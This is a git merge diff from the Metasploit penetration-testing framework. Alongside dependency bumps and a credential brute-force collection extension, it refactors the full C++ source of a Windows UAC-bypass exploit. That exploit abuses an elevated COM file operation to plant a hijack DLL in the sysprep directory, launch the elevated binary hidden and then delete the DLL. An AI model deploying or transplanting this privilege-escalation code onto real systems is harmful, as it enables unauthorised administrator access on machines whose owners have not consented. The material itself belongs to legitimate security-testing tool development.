Merge remote-tracking branch 'live/master' into feature/memcached-module
commit
0e893cd772
16
Gemfile.lock
16
Gemfile.lock
|
@ -9,7 +9,7 @@ PATH
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (~> 0.3.0)
|
||||||
metasploit-model (~> 0.28.0)
|
metasploit-model (~> 0.28.0)
|
||||||
meterpreter_bins (= 0.0.12)
|
meterpreter_bins (= 0.0.13)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -22,7 +22,7 @@ PATH
|
||||||
tzinfo
|
tzinfo
|
||||||
metasploit-framework-db (4.11.0.pre.dev)
|
metasploit-framework-db (4.11.0.pre.dev)
|
||||||
activerecord (>= 3.2.21, < 4.0.0)
|
activerecord (>= 3.2.21, < 4.0.0)
|
||||||
metasploit-credential (~> 0.13.8)
|
metasploit-credential (~> 0.13.11)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.0.pre.dev)
|
||||||
metasploit_data_models (~> 0.21.3)
|
metasploit_data_models (~> 0.21.3)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
|
@ -101,7 +101,7 @@ GEM
|
||||||
gherkin (2.11.6)
|
gherkin (2.11.6)
|
||||||
json (>= 1.7.6)
|
json (>= 1.7.6)
|
||||||
hike (1.2.3)
|
hike (1.2.3)
|
||||||
i18n (0.6.11)
|
i18n (0.7.0)
|
||||||
journey (1.0.4)
|
journey (1.0.4)
|
||||||
jsobfu (0.2.1)
|
jsobfu (0.2.1)
|
||||||
rkelly-remix (= 0.0.6)
|
rkelly-remix (= 0.0.6)
|
||||||
|
@ -112,7 +112,7 @@ GEM
|
||||||
metasploit-concern (0.3.0)
|
metasploit-concern (0.3.0)
|
||||||
activesupport (~> 3.0, >= 3.0.0)
|
activesupport (~> 3.0, >= 3.0.0)
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
metasploit-credential (0.13.8)
|
metasploit-credential (0.13.11)
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (~> 0.3.0)
|
||||||
metasploit-model (~> 0.28.0)
|
metasploit-model (~> 0.28.0)
|
||||||
metasploit_data_models (~> 0.21.0)
|
metasploit_data_models (~> 0.21.0)
|
||||||
|
@ -132,10 +132,10 @@ GEM
|
||||||
pg
|
pg
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
recog (~> 1.0)
|
recog (~> 1.0)
|
||||||
meterpreter_bins (0.0.12)
|
meterpreter_bins (0.0.13)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (1.25.1)
|
mime-types (1.25.1)
|
||||||
mini_portile (0.6.1)
|
mini_portile (0.6.2)
|
||||||
msgpack (0.5.9)
|
msgpack (0.5.9)
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
|
@ -143,7 +143,7 @@ GEM
|
||||||
mini_portile (~> 0.6.0)
|
mini_portile (~> 0.6.0)
|
||||||
packetfu (1.1.9)
|
packetfu (1.1.9)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
pg (0.17.1)
|
pg (0.18.1)
|
||||||
polyglot (0.3.5)
|
polyglot (0.3.5)
|
||||||
pry (0.10.0)
|
pry (0.10.0)
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
|
@ -175,7 +175,7 @@ GEM
|
||||||
rb-readline (0.5.1)
|
rb-readline (0.5.1)
|
||||||
rdoc (3.12.2)
|
rdoc (3.12.2)
|
||||||
json (~> 1.4)
|
json (~> 1.4)
|
||||||
recog (1.0.6)
|
recog (1.0.7)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.1.2)
|
redcarpet (3.1.2)
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit
|
||||||
class Application < Rails::Application
|
class Application < Rails::Application
|
||||||
include Metasploit::Framework::CommonEngine
|
include Metasploit::Framework::CommonEngine
|
||||||
|
|
||||||
|
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
|
||||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,7 @@
|
||||||
#
|
#
|
||||||
# It's strongly recommended to check this file into your version control system.
|
# It's strongly recommended to check this file into your version control system.
|
||||||
|
|
||||||
ActiveRecord::Schema.define(:version => 20140922170030) do
|
ActiveRecord::Schema.define(:version => 20150106201450) do
|
||||||
|
|
||||||
create_table "api_keys", :force => true do |t|
|
create_table "api_keys", :force => true do |t|
|
||||||
t.text "token"
|
t.text "token"
|
||||||
|
|
|
@ -93,7 +93,7 @@
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
@ -132,7 +132,7 @@
|
||||||
<Optimization>MaxSpeed</Optimization>
|
<Optimization>MaxSpeed</Optimization>
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
<PrecompiledHeader />
|
<PrecompiledHeader />
|
||||||
|
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="src\Exploit.cpp" />
|
<ClCompile Include="src\Exploit.cpp" />
|
||||||
<ClCompile Include="src\ReflectiveDll.c" />
|
|
||||||
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="src\Exploit.h" />
|
|
||||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="src\Exploit.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|
247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
|
@ -1,119 +1,158 @@
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
#include "Exploit.h"
|
#include "Exploit.h"
|
||||||
|
|
||||||
void exploit()
|
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
|
||||||
{
|
|
||||||
|
|
||||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
extern "C" {
|
||||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
|
||||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
|
||||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
|
||||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
|
||||||
wchar_t szElevDir[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDllFull[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
|
||||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
|
||||||
wchar_t path[MAX_PATH] = {};
|
|
||||||
wchar_t windir[MAX_PATH] = {};
|
|
||||||
const wchar_t *szElevArgs = L"";
|
|
||||||
const wchar_t *szEIFOMoniker = NULL;
|
|
||||||
PVOID OldValue = NULL;
|
|
||||||
|
|
||||||
IFileOperation *pFileOp = NULL;
|
void exploit(BypassUacPaths const * const paths)
|
||||||
IShellItem *pSHISource = 0;
|
{
|
||||||
IShellItem *pSHIDestination = 0;
|
const wchar_t *szElevArgs = L"";
|
||||||
IShellItem *pSHIDelete = 0;
|
const wchar_t *szEIFOMoniker = NULL;
|
||||||
|
|
||||||
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
PVOID OldValue = NULL;
|
||||||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
|
||||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
|
||||||
|
|
||||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
IFileOperation *pFileOp = NULL;
|
||||||
GetTempPathW(MAX_PATH, path);
|
IShellItem *pSHISource = 0;
|
||||||
|
IShellItem *pSHIDestination = 0;
|
||||||
|
IShellItem *pSHIDelete = 0;
|
||||||
|
|
||||||
/* %temp%\cryptbase.dll */
|
BOOL bComInitialised = FALSE;
|
||||||
wcscat_s(path, MAX_PATH, szSourceDll);
|
|
||||||
|
|
||||||
/* %windir%\System32\sysprep\ */
|
|
||||||
wcscat_s(szElevDir, MAX_PATH, windir);
|
|
||||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
|
||||||
|
|
||||||
/* %windir%\sysnative\sysprep\ */
|
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||||
|
|
||||||
/* %windir\system32\sysprep\cryptbase.dll */
|
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
|
||||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
|
||||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
|
||||||
|
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
|
||||||
|
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
|
||||||
|
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
|
||||||
|
|
||||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
do
|
||||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
|
||||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
|
||||||
|
|
||||||
/* %windir%\system32\sysprep\sysprep.exe */
|
|
||||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
|
||||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
|
||||||
|
|
||||||
if (CoInitialize(NULL) == S_OK)
|
|
||||||
{
|
|
||||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
|
||||||
{
|
{
|
||||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
if (CoInitialize(NULL) != S_OK)
|
||||||
{
|
{
|
||||||
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
dprintf("[BYPASSUACINJ] Failed to initialize COM");
|
||||||
{
|
break;
|
||||||
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
|
||||||
{
|
|
||||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
|
||||||
{
|
|
||||||
/* Copy the DLL file to the sysprep folder*/
|
|
||||||
if (pFileOp->PerformOperations() == S_OK)
|
|
||||||
{
|
|
||||||
/* Execute sysprep.exe */
|
|
||||||
SHELLEXECUTEINFOW shinfo;
|
|
||||||
ZeroMemory(&shinfo, sizeof(shinfo));
|
|
||||||
shinfo.cbSize = sizeof(shinfo);
|
|
||||||
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
||||||
shinfo.lpFile = szElevExeFull;
|
|
||||||
shinfo.lpParameters = szElevArgs;
|
|
||||||
shinfo.lpDirectory = szElevDir;
|
|
||||||
shinfo.nShow = SW_HIDE;
|
|
||||||
|
|
||||||
Wow64DisableWow64FsRedirection(&OldValue);
|
|
||||||
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
|
||||||
{
|
|
||||||
WaitForSingleObject(shinfo.hProcess, 10000);
|
|
||||||
CloseHandle(shinfo.hProcess);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
|
||||||
{
|
|
||||||
if (0 != pSHIDelete)
|
|
||||||
{
|
|
||||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
|
||||||
{
|
|
||||||
pFileOp->PerformOperations();
|
|
||||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
|
||||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
|
||||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
|
||||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
|
||||||
{
|
|
||||||
if (0 != pSHIDelete)
|
|
||||||
{
|
|
||||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
|
||||||
{
|
|
||||||
pFileOp->PerformOperations();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bComInitialised = TRUE;
|
||||||
|
|
||||||
|
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Copy the DLL file to the target folder*/
|
||||||
|
if (pFileOp->PerformOperations() != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Execute the target binary */
|
||||||
|
SHELLEXECUTEINFOW shinfo;
|
||||||
|
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||||
|
shinfo.cbSize = sizeof(shinfo);
|
||||||
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||||
|
shinfo.lpFile = paths->szElevExeFull;
|
||||||
|
shinfo.lpParameters = szElevArgs;
|
||||||
|
shinfo.lpDirectory = paths->szElevDir;
|
||||||
|
shinfo.nShow = SW_HIDE;
|
||||||
|
|
||||||
|
Wow64DisableWow64FsRedirection(&OldValue);
|
||||||
|
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
||||||
|
{
|
||||||
|
WaitForSingleObject(shinfo.hProcess, 10000);
|
||||||
|
CloseHandle(shinfo.hProcess);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||||
|
|| NULL == pSHIDelete)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->PerformOperations() == S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Successfully deleted dll");
|
||||||
|
|
||||||
|
// bail out this point because we don't need to keep trying to delete
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
SAFERELEASE(pSHIDelete);
|
||||||
|
|
||||||
|
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||||
|
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||||
|
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||||
|
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||||
|
|| NULL == pSHIDelete)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->PerformOperations() == S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
SAFERELEASE(pSHIDelete);
|
||||||
|
SAFERELEASE(pSHIDestination);
|
||||||
|
SAFERELEASE(pSHISource);
|
||||||
|
SAFERELEASE(pFileOp);
|
||||||
|
|
||||||
|
if (bComInitialised)
|
||||||
|
{
|
||||||
|
CoUninitialize();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
}
|
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
|
@ -5,4 +5,32 @@
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <guiddef.h>
|
#include <guiddef.h>
|
||||||
|
|
||||||
EXTERN_C void exploit();
|
// Uncomment this line to include debug output
|
||||||
|
//#define DEBUGTRACE
|
||||||
|
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
static void real_dprintf(char *format, ...)
|
||||||
|
{
|
||||||
|
va_list args;
|
||||||
|
char buffer[1024];
|
||||||
|
va_start(args, format);
|
||||||
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
||||||
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||||
|
OutputDebugStringA(buffer);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define dprintf(...)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct _BypassUacPaths
|
||||||
|
{
|
||||||
|
wchar_t szElevDir[MAX_PATH];
|
||||||
|
wchar_t szElevDirSysWow64[MAX_PATH];
|
||||||
|
wchar_t szElevDll[MAX_PATH];
|
||||||
|
wchar_t szElevDllFull[MAX_PATH];
|
||||||
|
wchar_t szElevExeFull[MAX_PATH];
|
||||||
|
wchar_t szDllTempPath[MAX_PATH];
|
||||||
|
} BypassUacPaths;
|
||||||
|
|
||||||
|
EXTERN_C void exploit(BypassUacPaths const * const paths);
|
||||||
|
|
43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
|
@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
|
||||||
|
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
{
|
{
|
||||||
BOOL bReturnValue = TRUE;
|
switch (dwReason)
|
||||||
switch( dwReason )
|
{
|
||||||
{
|
case DLL_QUERY_HMODULE:
|
||||||
case DLL_QUERY_HMODULE:
|
if (lpReserved != NULL)
|
||||||
if( lpReserved != NULL )
|
{
|
||||||
*(HMODULE *)lpReserved = hAppInstance;
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
break;
|
}
|
||||||
case DLL_PROCESS_ATTACH:
|
break;
|
||||||
hAppInstance = hinstDLL;
|
case DLL_PROCESS_ATTACH:
|
||||||
exploit();
|
hAppInstance = hinstDLL;
|
||||||
ExitProcess(0);
|
|
||||||
break;
|
if (NULL != lpReserved)
|
||||||
case DLL_PROCESS_DETACH:
|
{
|
||||||
case DLL_THREAD_ATTACH:
|
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
|
||||||
case DLL_THREAD_DETACH:
|
exploit((BypassUacPaths*)lpReserved);
|
||||||
break;
|
}
|
||||||
}
|
|
||||||
return bReturnValue;
|
ExitProcess(0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
|
||||||
|
|
||||||
class Metasploit::Framework::CredentialCollection
|
class Metasploit::Framework::CredentialCollection
|
||||||
|
|
||||||
|
# @!attribute additional_privates
|
||||||
|
# Additional privates to be combined
|
||||||
|
#
|
||||||
|
# @return [Array<String>]
|
||||||
|
attr_accessor :additional_privates
|
||||||
|
|
||||||
|
# @!attribute additional_publics
|
||||||
|
# Additional public to be combined
|
||||||
|
#
|
||||||
|
# @return [Array<String>]
|
||||||
|
attr_accessor :additional_publics
|
||||||
|
|
||||||
# @!attribute blank_passwords
|
# @!attribute blank_passwords
|
||||||
# Whether each username should be tried with a blank password
|
# Whether each username should be tried with a blank password
|
||||||
# @return [Boolean]
|
# @return [Boolean]
|
||||||
|
@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection
|
||||||
opts.each do |attribute, value|
|
opts.each do |attribute, value|
|
||||||
public_send("#{attribute}=", value)
|
public_send("#{attribute}=", value)
|
||||||
end
|
end
|
||||||
self.prepended_creds ||= []
|
self.prepended_creds ||= []
|
||||||
|
self.additional_privates ||= []
|
||||||
|
self.additional_publics ||= []
|
||||||
|
end
|
||||||
|
|
||||||
|
# Adds a string as an addition private credential
|
||||||
|
# to be combined in the collection.
|
||||||
|
#
|
||||||
|
# @param [String] :private_str the string to use as a private
|
||||||
|
# @return [void]
|
||||||
|
def add_private(private_str='')
|
||||||
|
additional_privates << private_str
|
||||||
|
end
|
||||||
|
|
||||||
|
# Adds a string as an addition public credential
|
||||||
|
# to be combined in the collection.
|
||||||
|
#
|
||||||
|
# @param [String] :public_str the string to use as a public
|
||||||
|
# @return [void]
|
||||||
|
def add_public(public_str='')
|
||||||
|
additional_publics << public_str
|
||||||
end
|
end
|
||||||
|
|
||||||
# Add {Credential credentials} that will be yielded by {#each}
|
# Add {Credential credentials} that will be yielded by {#each}
|
||||||
|
@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
|
||||||
end
|
end
|
||||||
pass_fd.seek(0)
|
pass_fd.seek(0)
|
||||||
end
|
end
|
||||||
|
additional_privates.each do |add_private|
|
||||||
|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if user_file.present?
|
if user_file.present?
|
||||||
|
@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
|
||||||
end
|
end
|
||||||
pass_fd.seek(0)
|
pass_fd.seek(0)
|
||||||
end
|
end
|
||||||
|
additional_privates.each do |add_private|
|
||||||
|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
additional_publics.each do |add_public|
|
||||||
|
if password.present?
|
||||||
|
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
|
||||||
|
end
|
||||||
|
if user_as_pass
|
||||||
|
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
|
||||||
|
end
|
||||||
|
if blank_passwords
|
||||||
|
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
|
||||||
|
end
|
||||||
|
if pass_fd
|
||||||
|
pass_fd.each_line do |pass_from_file|
|
||||||
|
pass_from_file.chomp!
|
||||||
|
